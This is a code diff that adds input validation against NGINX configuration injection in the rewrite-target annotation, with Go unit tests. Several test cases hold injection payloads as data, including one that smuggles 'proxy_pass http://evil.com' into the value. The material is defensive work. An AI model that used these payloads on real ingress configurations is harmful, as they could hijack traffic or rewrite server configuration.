add more validation on rewrite-target (#8740)

Author: vepatel

internal/k8s/validation.go

@@ -809,6 +809,18 @@ func validateRewriteTargetAnnotation(context *annotationValidationContext) field
 		return field.ErrorList{field.Invalid(context.fieldPath, target, "rewrite target must start with /")}
 	}
 
+	// Prevent NGINX configuration injection characters
+	if strings.ContainsAny(target, ";{}[]|<>,^`~") {
+		return field.ErrorList{field.Invalid(context.fieldPath, target, "NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target")}
+	}
+
+	// Prevent control characters and line breaks that could break NGINX config
+	for _, char := range target {
+		if char <= 32 || char == 127 { // ASCII control characters; 127 is DEL, 32 is space
+			return field.ErrorList{field.Invalid(context.fieldPath, target, "control characters not allowed in rewrite target")}
+		}
+	}
+
 	return nil
 }
 

internal/k8s/validation_test.go

@@ -3395,6 +3395,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
 			},
 			msg: "invalid nginx.org/rewrite-target annotation, path traversal with ..\\ (Windows style)",
 		},
+		{
+			annotations: map[string]string{
+				"nginx.org/rewrite-target": "/foo/$1; } path / { my/location/test/ }",
+			},
+			specServices:          map[string]bool{},
+			isPlus:                false,
+			appProtectEnabled:     false,
+			appProtectDosEnabled:  false,
+			internalRoutesEnabled: false,
+			expectedErrors: []string{
+				`annotations.nginx.org/rewrite-target: Invalid value: "/foo/$1; } path / { my/location/test/ }": NGINX configuration syntax characters (;{}) and []|<>,^` + "`" + `~ not allowed in rewrite target`,
+			},
+			msg: "invalid nginx.org/rewrite-target annotation, NGINX configuration syntax characters (;{}) not allowed in rewrite target",
+		},
+		{
+			annotations: map[string]string{
+				"nginx.org/rewrite-target": "/api\npath",
+			},
+			specServices:          map[string]bool{},
+			isPlus:                false,
+			appProtectEnabled:     false,
+			appProtectDosEnabled:  false,
+			internalRoutesEnabled: false,
+			expectedErrors: []string{
+				`annotations.nginx.org/rewrite-target: Invalid value: "/api\npath": control characters not allowed in rewrite target`,
+			},
+			msg: "invalid nginx.org/rewrite-target annotation, control characters not allowed in rewrite target",
+		},
 		{
 			annotations: map[string]string{
 				"nginx.org/rewrite-target": "api/users",
@@ -3409,6 +3437,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
 			},
 			msg: "invalid nginx.org/rewrite-target annotation, does not start with slash",
 		},
+		{
+			annotations: map[string]string{
+				"nginx.org/rewrite-target": "/api/v1`; proxy_pass http://evil.com; #",
+			},
+			specServices:          map[string]bool{},
+			isPlus:                false,
+			appProtectEnabled:     false,
+			appProtectDosEnabled:  false,
+			internalRoutesEnabled: false,
+			expectedErrors: []string{
+				"annotations.nginx.org/rewrite-target: Invalid value: \"/api/v1`; proxy_pass http://evil.com; #\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
+			},
+			msg: "invalid nginx.org/rewrite-target annotation, backtick and semicolon injection",
+		},
+		{
+			annotations: map[string]string{
+				"nginx.org/rewrite-target": "/path/$1|/backup/$1",
+			},
+			specServices:          map[string]bool{},
+			isPlus:                false,
+			appProtectEnabled:     false,
+			appProtectDosEnabled:  false,
+			internalRoutesEnabled: false,
+			expectedErrors: []string{
+				"annotations.nginx.org/rewrite-target: Invalid value: \"/path/$1|/backup/$1\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
+			},
+			msg: "invalid nginx.org/rewrite-target annotation, pipe character for alternatives",
+		},
 	}
 
 	for _, test := range tests {